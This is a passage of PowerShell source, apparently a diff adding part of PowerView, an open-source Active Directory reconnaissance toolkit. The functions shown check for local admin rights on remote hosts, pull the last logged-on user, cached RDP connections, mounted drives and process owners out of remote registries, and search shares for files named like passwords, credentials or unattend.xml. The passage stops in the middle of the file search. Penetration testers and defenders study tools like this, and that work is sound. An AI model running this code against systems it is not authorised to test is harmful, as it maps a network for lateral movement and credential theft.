[Runtime.InteropServices.Marshal]::GetLastWin32Error() + + if ($Result2 -eq 0) { + Write-Verbose "[Get-NetRDPSession] Error: $(([ComponentModel.Win32Exception] $LastError2).Message)" + } + else { + $Offset2 = $ppBuffer.ToInt64() + $NewIntPtr2 = New-Object System.Intptr -ArgumentList $Offset2 + $Info2 = $NewIntPtr2 -as $WTS_CLIENT_ADDRESS + + $SourceIP = $Info2.Address + if ($SourceIP[2] -ne 0) { + $SourceIP = [String]$SourceIP[2]+'.'+[String]$SourceIP[3]+'.'+[String]$SourceIP[4]+'.'+[String]$SourceIP[5] + } + else { + $SourceIP = $Null + } + + $RDPSession | Add-Member Noteproperty 'SourceIP' $SourceIP + $RDPSession.PSObject.TypeNames.Insert(0, 'PowerView.RDPSessionInfo') + $RDPSession + + # free up the memory buffer + $Null = $Wtsapi32::WTSFreeMemory($ppBuffer) + + $Offset += $Increment + } + } + # free up the memory result buffer + $Null = $Wtsapi32::WTSFreeMemoryEx(2, $ppSessionInfo, $pCount) + } + else { + Write-Verbose "[Get-NetRDPSession] Error: $(([ComponentModel.Win32Exception] $LastError).Message)" + } + # close off the service handle + $Null = $Wtsapi32::WTSCloseServer($Handle) + } + else { + Write-Verbose "[Get-NetRDPSession] Error opening the Remote Desktop Session Host (RD Session Host) server for: $ComputerName" + } + } + } + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} + + +function Test-AdminAccess { +<# +.SYNOPSIS + +Tests if the current user has administrative access to the local (or a remote) machine. + +Idea stolen from the local_admin_search_enum post module in Metasploit written by: + 'Brandon McCann "zeknox" ' + 'Thomas McCarthy "smilingraccoon" ' + 'Royce Davis "r3dy" ' + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf + +.DESCRIPTION + +This function will use the OpenSCManagerW Win32API call to establish +a handle to the remote host. If this succeeds, the current user context +has local administrator acess to the target. + +.PARAMETER ComputerName + +Specifies the hostname to check for local admin access (also accepts IP addresses). +Defaults to 'localhost'. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system using Invoke-UserImpersonation. + +.EXAMPLE + +Test-AdminAccess -ComputerName sqlserver + +Returns results indicating whether the current user has admin access to the 'sqlserver' host. + +.EXAMPLE + +Get-DomainComputer | Test-AdminAccess + +Returns what machines in the domain the current user has access to. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Test-AdminAccess -ComputerName sqlserver -Credential $Cred + +.OUTPUTS + +PowerView.AdminAccess + +A PSCustomObject containing the ComputerName and 'IsAdmin' set to whether +the current user has local admin rights, along with the ComputerName added. + +.LINK + +https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/local_admin_search_enum.rb +http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ +#> + + [OutputType('PowerView.AdminAccess')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = 'localhost', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + if ($PSBoundParameters['Credential']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + } + + PROCESS { + ForEach ($Computer in $ComputerName) { + # 0xF003F - SC_MANAGER_ALL_ACCESS + # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx + $Handle = $Advapi32::OpenSCManagerW("\\$Computer", 'ServicesActive', 0xF003F);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + + $IsAdmin = New-Object PSObject + $IsAdmin | Add-Member Noteproperty 'ComputerName' $Computer + + # if we get a non-zero handle back, everything was successful + if ($Handle -ne 0) { + $Null = $Advapi32::CloseServiceHandle($Handle) + $IsAdmin | Add-Member Noteproperty 'IsAdmin' $True + } + else { + Write-Verbose "[Test-AdminAccess] Error: $(([ComponentModel.Win32Exception] $LastError).Message)" + $IsAdmin | Add-Member Noteproperty 'IsAdmin' $False + } + $IsAdmin.PSObject.TypeNames.Insert(0, 'PowerView.AdminAccess') + $IsAdmin + } + } + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} + + +function Get-NetComputerSiteName { +<# +.SYNOPSIS + +Returns the AD site where the local (or a remote) machine resides. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf + +.DESCRIPTION + +This function will use the DsGetSiteName Win32API call to look up the +name of the site where a specified computer resides. + +.PARAMETER ComputerName + +Specifies the hostname to check the site for (also accepts IP addresses). +Defaults to 'localhost'. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system using Invoke-UserImpersonation. + +.EXAMPLE + +Get-NetComputerSiteName -ComputerName WINDOWS1.testlab.local + +Returns the site for WINDOWS1.testlab.local. + +.EXAMPLE + +Get-DomainComputer | Get-NetComputerSiteName + +Returns the sites for every machine in AD. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-NetComputerSiteName -ComputerName WINDOWS1.testlab.local -Credential $Cred + +.OUTPUTS + +PowerView.ComputerSite + +A PSCustomObject containing the ComputerName, IPAddress, and associated Site name. +#> + + [OutputType('PowerView.ComputerSite')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = 'localhost', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + if ($PSBoundParameters['Credential']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + } + + PROCESS { + ForEach ($Computer in $ComputerName) { + # if we get an IP address, try to resolve the IP to a hostname + if ($Computer -match '^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$') { + $IPAddress = $Computer + $Computer = [System.Net.Dns]::GetHostByAddress($Computer) | Select-Object -ExpandProperty HostName + } + else { + $IPAddress = @(Resolve-IPAddress -ComputerName $Computer)[0].IPAddress + } + + $PtrInfo = [IntPtr]::Zero + + $Result = $Netapi32::DsGetSiteName($Computer, [ref]$PtrInfo) + + $ComputerSite = New-Object PSObject + $ComputerSite | Add-Member Noteproperty 'ComputerName' $Computer + $ComputerSite | Add-Member Noteproperty 'IPAddress' $IPAddress + + if ($Result -eq 0) { + $Sitename = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($PtrInfo) + $ComputerSite | Add-Member Noteproperty 'SiteName' $Sitename + } + else { + Write-Verbose "[Get-NetComputerSiteName] Error: $(([ComponentModel.Win32Exception] $Result).Message)" + $ComputerSite | Add-Member Noteproperty 'SiteName' '' + } + $ComputerSite.PSObject.TypeNames.Insert(0, 'PowerView.ComputerSite') + + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + + $ComputerSite + } + } + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} + + +function Get-WMIRegProxy { +<# +.SYNOPSIS + +Enumerates the proxy server and WPAD conents for the current user. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +Enumerates the proxy server and WPAD specification for the current user +on the local machine (default), or a machine specified with -ComputerName. +It does this by enumerating settings from +HKU:SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings. + +.PARAMETER ComputerName + +Specifies the system to enumerate proxy settings on. Defaults to the local host. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connecting to the remote system. + +.EXAMPLE + +Get-WMIRegProxy + +ComputerName ProxyServer AutoConfigURL Wpad +------------ ----------- ------------- ---- +WINDOWS1 http://primary.test... + +.EXAMPLE + +$Cred = Get-Credential "TESTLAB\administrator" +Get-WMIRegProxy -Credential $Cred -ComputerName primary.testlab.local + +ComputerName ProxyServer AutoConfigURL Wpad +------------ ----------- ------------- ---- +windows1.testlab.local primary.testlab.local + +.INPUTS + +String + +Accepts one or more computer name specification strings on the pipeline (netbios or FQDN). + +.OUTPUTS + +PowerView.ProxySettings + +Outputs custom PSObjects with the ComputerName, ProxyServer, AutoConfigURL, and WPAD contents. +#> + + [OutputType('PowerView.ProxySettings')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = $Env:COMPUTERNAME, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + ForEach ($Computer in $ComputerName) { + try { + $WmiArguments = @{ + 'List' = $True + 'Class' = 'StdRegProv' + 'Namespace' = 'root\default' + 'Computername' = $Computer + 'ErrorAction' = 'Stop' + } + if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential } + + $RegProvider = Get-WmiObject @WmiArguments + $Key = 'SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings' + + # HKEY_CURRENT_USER + $HKCU = 2147483649 + $ProxyServer = $RegProvider.GetStringValue($HKCU, $Key, 'ProxyServer').sValue + $AutoConfigURL = $RegProvider.GetStringValue($HKCU, $Key, 'AutoConfigURL').sValue + + $Wpad = '' + if ($AutoConfigURL -and ($AutoConfigURL -ne '')) { + try { + $Wpad = (New-Object Net.WebClient).DownloadString($AutoConfigURL) + } + catch { + Write-Warning "[Get-WMIRegProxy] Error connecting to AutoConfigURL : $AutoConfigURL" + } + } + + if ($ProxyServer -or $AutoConfigUrl) { + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'ComputerName' $Computer + $Out | Add-Member Noteproperty 'ProxyServer' $ProxyServer + $Out | Add-Member Noteproperty 'AutoConfigURL' $AutoConfigURL + $Out | Add-Member Noteproperty 'Wpad' $Wpad + $Out.PSObject.TypeNames.Insert(0, 'PowerView.ProxySettings') + $Out + } + else { + Write-Warning "[Get-WMIRegProxy] No proxy settings found for $ComputerName" + } + } + catch { + Write-Warning "[Get-WMIRegProxy] Error enumerating proxy settings for $ComputerName : $_" + } + } + } +} + + +function Get-WMIRegLastLoggedOn { +<# +.SYNOPSIS + +Returns the last user who logged onto the local (or a remote) machine. + +Note: This function requires administrative rights on the machine you're enumerating. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +This function uses remote registry to enumerate the LastLoggedOnUser registry key +for the local (or remote) machine. + +.PARAMETER ComputerName + +Specifies the hostname to query for remote registry values (also accepts IP addresses). +Defaults to 'localhost'. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connecting to the remote system. + +.EXAMPLE + +Get-WMIRegLastLoggedOn + +Returns the last user logged onto the local machine. + +.EXAMPLE + +Get-WMIRegLastLoggedOn -ComputerName WINDOWS1 + +Returns the last user logged onto WINDOWS1 + +.EXAMPLE + +Get-DomainComputer | Get-WMIRegLastLoggedOn + +Returns the last user logged onto all machines in the domain. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-WMIRegLastLoggedOn -ComputerName PRIMARY.testlab.local -Credential $Cred + +.OUTPUTS + +PowerView.LastLoggedOnUser + +A PSCustomObject containing the ComputerName and last loggedon user. +#> + + [OutputType('PowerView.LastLoggedOnUser')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = 'localhost', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + ForEach ($Computer in $ComputerName) { + # HKEY_LOCAL_MACHINE + $HKLM = 2147483650 + + $WmiArguments = @{ + 'List' = $True + 'Class' = 'StdRegProv' + 'Namespace' = 'root\default' + 'Computername' = $Computer + 'ErrorAction' = 'SilentlyContinue' + } + if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential } + + # try to open up the remote registry key to grab the last logged on user + try { + $Reg = Get-WmiObject @WmiArguments + + $Key = 'SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI' + $Value = 'LastLoggedOnUser' + $LastUser = $Reg.GetStringValue($HKLM, $Key, $Value).sValue + + $LastLoggedOn = New-Object PSObject + $LastLoggedOn | Add-Member Noteproperty 'ComputerName' $Computer + $LastLoggedOn | Add-Member Noteproperty 'LastLoggedOn' $LastUser + $LastLoggedOn.PSObject.TypeNames.Insert(0, 'PowerView.LastLoggedOnUser') + $LastLoggedOn + } + catch { + Write-Warning "[Get-WMIRegLastLoggedOn] Error opening remote registry on $Computer. Remote registry likely not enabled." + } + } + } +} + + +function Get-WMIRegCachedRDPConnection { +<# +.SYNOPSIS + +Returns information about RDP connections outgoing from the local (or remote) machine. + +Note: This function requires administrative rights on the machine you're enumerating. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: ConvertFrom-SID + +.DESCRIPTION + +Uses remote registry functionality to query all entries for the +"Windows Remote Desktop Connection Client" on a machine, separated by +user and target server. + +.PARAMETER ComputerName + +Specifies the hostname to query for cached RDP connections (also accepts IP addresses). +Defaults to 'localhost'. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connecting to the remote system. + +.EXAMPLE + +Get-WMIRegCachedRDPConnection + +Returns the RDP connection client information for the local machine. + +.EXAMPLE + +Get-WMIRegCachedRDPConnection -ComputerName WINDOWS2.testlab.local + +Returns the RDP connection client information for the WINDOWS2.testlab.local machine + +.EXAMPLE + +Get-DomainComputer | Get-WMIRegCachedRDPConnection + +Returns cached RDP information for all machines in the domain. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-WMIRegCachedRDPConnection -ComputerName PRIMARY.testlab.local -Credential $Cred + +.OUTPUTS + +PowerView.CachedRDPConnection + +A PSCustomObject containing the ComputerName and cached RDP information. +#> + + [OutputType('PowerView.CachedRDPConnection')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = 'localhost', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + ForEach ($Computer in $ComputerName) { + # HKEY_USERS + $HKU = 2147483651 + + $WmiArguments = @{ + 'List' = $True + 'Class' = 'StdRegProv' + 'Namespace' = 'root\default' + 'Computername' = $Computer + 'ErrorAction' = 'Stop' + } + if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential } + + try { + $Reg = Get-WmiObject @WmiArguments + + # extract out the SIDs of domain users in this hive + $UserSIDs = ($Reg.EnumKey($HKU, '')).sNames | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } + + ForEach ($UserSID in $UserSIDs) { + try { + if ($PSBoundParameters['Credential']) { + $UserName = ConvertFrom-SID -ObjectSid $UserSID -Credential $Credential + } + else { + $UserName = ConvertFrom-SID -ObjectSid $UserSID + } + + # pull out all the cached RDP connections + $ConnectionKeys = $Reg.EnumValues($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Default").sNames + + ForEach ($Connection in $ConnectionKeys) { + # make sure this key is a cached connection + if ($Connection -match 'MRU.*') { + $TargetServer = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Default", $Connection).sValue + + $FoundConnection = New-Object PSObject + $FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer + $FoundConnection | Add-Member Noteproperty 'UserName' $UserName + $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID + $FoundConnection | Add-Member Noteproperty 'TargetServer' $TargetServer + $FoundConnection | Add-Member Noteproperty 'UsernameHint' $Null + $FoundConnection.PSObject.TypeNames.Insert(0, 'PowerView.CachedRDPConnection') + $FoundConnection + } + } + + # pull out all the cached server info with username hints + $ServerKeys = $Reg.EnumKey($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Servers").sNames + + ForEach ($Server in $ServerKeys) { + + $UsernameHint = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Servers\$Server", 'UsernameHint').sValue + + $FoundConnection = New-Object PSObject + $FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer + $FoundConnection | Add-Member Noteproperty 'UserName' $UserName + $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID + $FoundConnection | Add-Member Noteproperty 'TargetServer' $Server + $FoundConnection | Add-Member Noteproperty 'UsernameHint' $UsernameHint + $FoundConnection.PSObject.TypeNames.Insert(0, 'PowerView.CachedRDPConnection') + $FoundConnection + } + } + catch { + Write-Verbose "[Get-WMIRegCachedRDPConnection] Error: $_" + } + } + } + catch { + Write-Warning "[Get-WMIRegCachedRDPConnection] Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_" + } + } + } +} + + +function Get-WMIRegMountedDrive { +<# +.SYNOPSIS + +Returns information about saved network mounted drives for the local (or remote) machine. + +Note: This function requires administrative rights on the machine you're enumerating. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: ConvertFrom-SID + +.DESCRIPTION + +Uses remote registry functionality to enumerate recently mounted network drives. + +.PARAMETER ComputerName + +Specifies the hostname to query for mounted drive information (also accepts IP addresses). +Defaults to 'localhost'. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connecting to the remote system. + +.EXAMPLE + +Get-WMIRegMountedDrive + +Returns the saved network mounted drives for the local machine. + +.EXAMPLE + +Get-WMIRegMountedDrive -ComputerName WINDOWS2.testlab.local + +Returns the saved network mounted drives for the WINDOWS2.testlab.local machine + +.EXAMPLE + +Get-DomainComputer | Get-WMIRegMountedDrive + +Returns the saved network mounted drives for all machines in the domain. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-WMIRegMountedDrive -ComputerName PRIMARY.testlab.local -Credential $Cred + +.OUTPUTS + +PowerView.RegMountedDrive + +A PSCustomObject containing the ComputerName and mounted drive information. +#> + + [OutputType('PowerView.RegMountedDrive')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = 'localhost', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + ForEach ($Computer in $ComputerName) { + # HKEY_USERS + $HKU = 2147483651 + + $WmiArguments = @{ + 'List' = $True + 'Class' = 'StdRegProv' + 'Namespace' = 'root\default' + 'Computername' = $Computer + 'ErrorAction' = 'Stop' + } + if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential } + + try { + $Reg = Get-WmiObject @WmiArguments + + # extract out the SIDs of domain users in this hive + $UserSIDs = ($Reg.EnumKey($HKU, '')).sNames | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } + + ForEach ($UserSID in $UserSIDs) { + try { + if ($PSBoundParameters['Credential']) { + $UserName = ConvertFrom-SID -ObjectSid $UserSID -Credential $Credential + } + else { + $UserName = ConvertFrom-SID -ObjectSid $UserSID + } + + $DriveLetters = ($Reg.EnumKey($HKU, "$UserSID\Network")).sNames + + ForEach ($DriveLetter in $DriveLetters) { + $ProviderName = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'ProviderName').sValue + $RemotePath = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'RemotePath').sValue + $DriveUserName = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'UserName').sValue + if (-not $UserName) { $UserName = '' } + + if ($RemotePath -and ($RemotePath -ne '')) { + $MountedDrive = New-Object PSObject + $MountedDrive | Add-Member Noteproperty 'ComputerName' $Computer + $MountedDrive | Add-Member Noteproperty 'UserName' $UserName + $MountedDrive | Add-Member Noteproperty 'UserSID' $UserSID + $MountedDrive | Add-Member Noteproperty 'DriveLetter' $DriveLetter + $MountedDrive | Add-Member Noteproperty 'ProviderName' $ProviderName + $MountedDrive | Add-Member Noteproperty 'RemotePath' $RemotePath + $MountedDrive | Add-Member Noteproperty 'DriveUserName' $DriveUserName + $MountedDrive.PSObject.TypeNames.Insert(0, 'PowerView.RegMountedDrive') + $MountedDrive + } + } + } + catch { + Write-Verbose "[Get-WMIRegMountedDrive] Error: $_" + } + } + } + catch { + Write-Warning "[Get-WMIRegMountedDrive] Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_" + } + } + } +} + + +function Get-WMIProcess { +<# +.SYNOPSIS + +Returns a list of processes and their owners on the local or remote machine. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +Uses Get-WMIObject to enumerate all Win32_process instances on the local or remote machine, +including the owners of the particular process. + +.PARAMETER ComputerName + +Specifies the hostname to query for cached RDP connections (also accepts IP addresses). +Defaults to 'localhost'. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system. + +.EXAMPLE + +Get-WMIProcess -ComputerName WINDOWS1 + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-WMIProcess -ComputerName PRIMARY.testlab.local -Credential $Cred + +.OUTPUTS + +PowerView.UserProcess + +A PSCustomObject containing the remote process information. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.UserProcess')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = 'localhost', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + ForEach ($Computer in $ComputerName) { + try { + $WmiArguments = @{ + 'ComputerName' = $ComputerName + 'Class' = 'Win32_process' + } + if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential } + Get-WMIobject @WmiArguments | ForEach-Object { + $Owner = $_.getowner(); + $Process = New-Object PSObject + $Process | Add-Member Noteproperty 'ComputerName' $Computer + $Process | Add-Member Noteproperty 'ProcessName' $_.ProcessName + $Process | Add-Member Noteproperty 'ProcessID' $_.ProcessID + $Process | Add-Member Noteproperty 'Domain' $Owner.Domain + $Process | Add-Member Noteproperty 'User' $Owner.User + $Process.PSObject.TypeNames.Insert(0, 'PowerView.UserProcess') + $Process + } + } + catch { + Write-Verbose "[Get-WMIProcess] Error enumerating remote processes on '$Computer', access likely denied: $_" + } + } + } +} + + +function Find-InterestingFile { +<# +.SYNOPSIS + +Searches for files on the given path that match a series of specified criteria. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection + +.DESCRIPTION + +This function recursively searches a given UNC path for files with +specific keywords in the name (default of pass, sensitive, secret, admin, +login and unattend*.xml). By default, hidden files/folders are included +in search results. If -Credential is passed, Add-RemoteConnection/Remove-RemoteConnection +is used to temporarily map the remote share. + +.PARAMETER Path + +UNC/local path to recursively search. + +.PARAMETER Include + +Only return files/folders that match the specified array of strings, +i.e. @(*.doc*, *.xls*, *.ppt*) + +.PARAMETER LastAccessTime + +Only return files with a LastAccessTime greater than this date value. + +.PARAMETER LastWriteTime + +Only return files with a LastWriteTime greater than this date value. + +.PARAMETER CreationTime + +Only return files with a CreationTime greater than this date value. + +.PARAMETER OfficeDocs + +Switch. Search for office documents (*.doc*, *.xls*, *.ppt*) + +.PARAMETER FreshEXEs + +Switch. Find .EXEs accessed within the last 7 days. + +.PARAMETER ExcludeFolders + +Switch. Exclude folders from the search results. + +.PARAMETER ExcludeHidden + +Switch. Exclude hidden files and folders from the search results. + +.PARAMETER CheckWriteAccess + +Switch. Only returns files the current user has write access to. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +to connect to remote systems for file enumeration. + +.EXAMPLE + +Find-InterestingFile -Path "C:\Backup\" + +Returns any files on the local path C:\Backup\ that have the default +search term set in the title. + +.EXAMPLE + +Find-InterestingFile -Path "\\WINDOWS7\Users\" -LastAccessTime (Get-Date).AddDays(-7) + +Returns any files on the remote path \\WINDOWS7\Users\ that have the default +search term set in the title and were accessed within the last week. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Find-InterestingFile -Credential $Cred -Path "\\PRIMARY.testlab.local\C$\Temp\" + +.OUTPUTS + +PowerView.FoundFile +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.FoundFile')] + [CmdletBinding(DefaultParameterSetName = 'FileSpecification')] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [ValidateNotNullOrEmpty()] + [String[]] + $Path = '.\', + + [Parameter(ParameterSetName = 'FileSpecification')] + [ValidateNotNullOrEmpty()] + [Alias('SearchTerms', 'Terms')] + [String[]] + $Include = @('*password*', '*sensitive*', '*admin*', '*login*', '*secret*', 'unattend*.xml', '*.vmdk', '*creds*', '*credential*', '*.config'), + + [Parameter(ParameterSetName = 'FileSpecification')] + [ValidateNotNullOrEmpty()] + [DateTime] + $LastAccessTime, + + [Parameter(ParameterSetName = 'FileSpecification')] + [ValidateNotNullOrEmpty()] + [DateTime] + $LastWriteTime, + + [Parameter(ParameterSetName = 'FileSpecification')] + [ValidateNotNullOrEmpty()] + [DateTime] + $CreationTime, + + [Parameter(ParameterSetName = 'OfficeDocs')] + [Switch] + $OfficeDocs, + + [Parameter(ParameterSetName = 'FreshEXEs')] + [Switch] + $FreshEXEs, + + [Parameter(ParameterSetName = 'FileSpecification')] + [Switch] + $ExcludeFolders, + + [Parameter(ParameterSetName = 'FileSpecification')] + [Switch] + $ExcludeHidden, + + [Switch] + $CheckWriteAccess, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $SearcherArguments = @{ + 'Recurse' = $True + 'ErrorAction' = 'SilentlyContinue' + 'Include' = $Include + } + if ($PSBoundParameters['OfficeDocs']) { + $SearcherArguments['Include'] = @('*.doc', '*.docx', '*.xls', '*.xlsx', '*.ppt', '*.pptx') + } + elseif ($PSBoundParameters['FreshEXEs']) { + # find .exe's accessed within the last 7 days + $LastAccessTime = (Get-Date).AddDays(-7).ToString('MM/dd/yyyy') + $SearcherArguments['Include'] = @('*.exe') + } + $SearcherArguments['Force'] = -not $PSBoundParameters['ExcludeHidden'] + + $MappedComputers = @{} + + function Test-Write { + # short helper to check is the current user can write to a file + [CmdletBinding()]Param([String]$Path) + try { + $Filetest = [IO.File]::OpenWrite($Path) + $Filetest.Close() + $True + } + catch { + $False + } + } + } + + PROCESS { + ForEach ($TargetPath in $Path) { + if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) { + $HostComputer = (New-Object System.Uri($TargetPath)).Host + if (-not $MappedComputers[$HostComputer]) { + # map IPC$ to this computer if it's not already + Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential + $MappedComputers[$HostComputer] = $True + } + } + + $SearcherArguments['Path'] = $TargetPath + Get-ChildItem @SearcherArguments | ForEach-Object { + # check if we're excluding folders + $Continue = $True + if ($PSBoundParameters['ExcludeFolders'] -and ($_.PSIsContainer)) { + Write-Verbose "Excluding: $($_.FullName)" + $Continue = $False + } + if ($LastAccessTime -and ($_.LastAccessTime -lt $LastAccessTime)) { + $Continue = $False + } + if ($PSBoundParameters['LastWriteTime'] -and ($_.LastWriteTime -lt $LastWriteTime)) { + $Continue = $False + } + if ($PSBoundParameters['CreationTime'] -and ($_.CreationTime -lt $CreationTime)) { + $Continue = $False + } + if ($PSBoundParameters['CheckWriteAccess'] -and (-not (Test-Write -Path $_.FullName))) { + $Continue = $False + } + if ($Continue) { + $FileParams = @{ + 'Path' = $_.FullName + 'Owner' = $((Get-Acl $_.FullName).Owner) + 'LastAccessTime' = $_.LastAccessTime + 'LastWriteTime' = $_.LastWriteTime + 'CreationTime' = $_.CreationTime + 'Length' = $_.Length + } + $FoundFile = New-Object -TypeName PSObject -Property $FileParams + $FoundFile.PSObject.TypeNames.Insert(0, 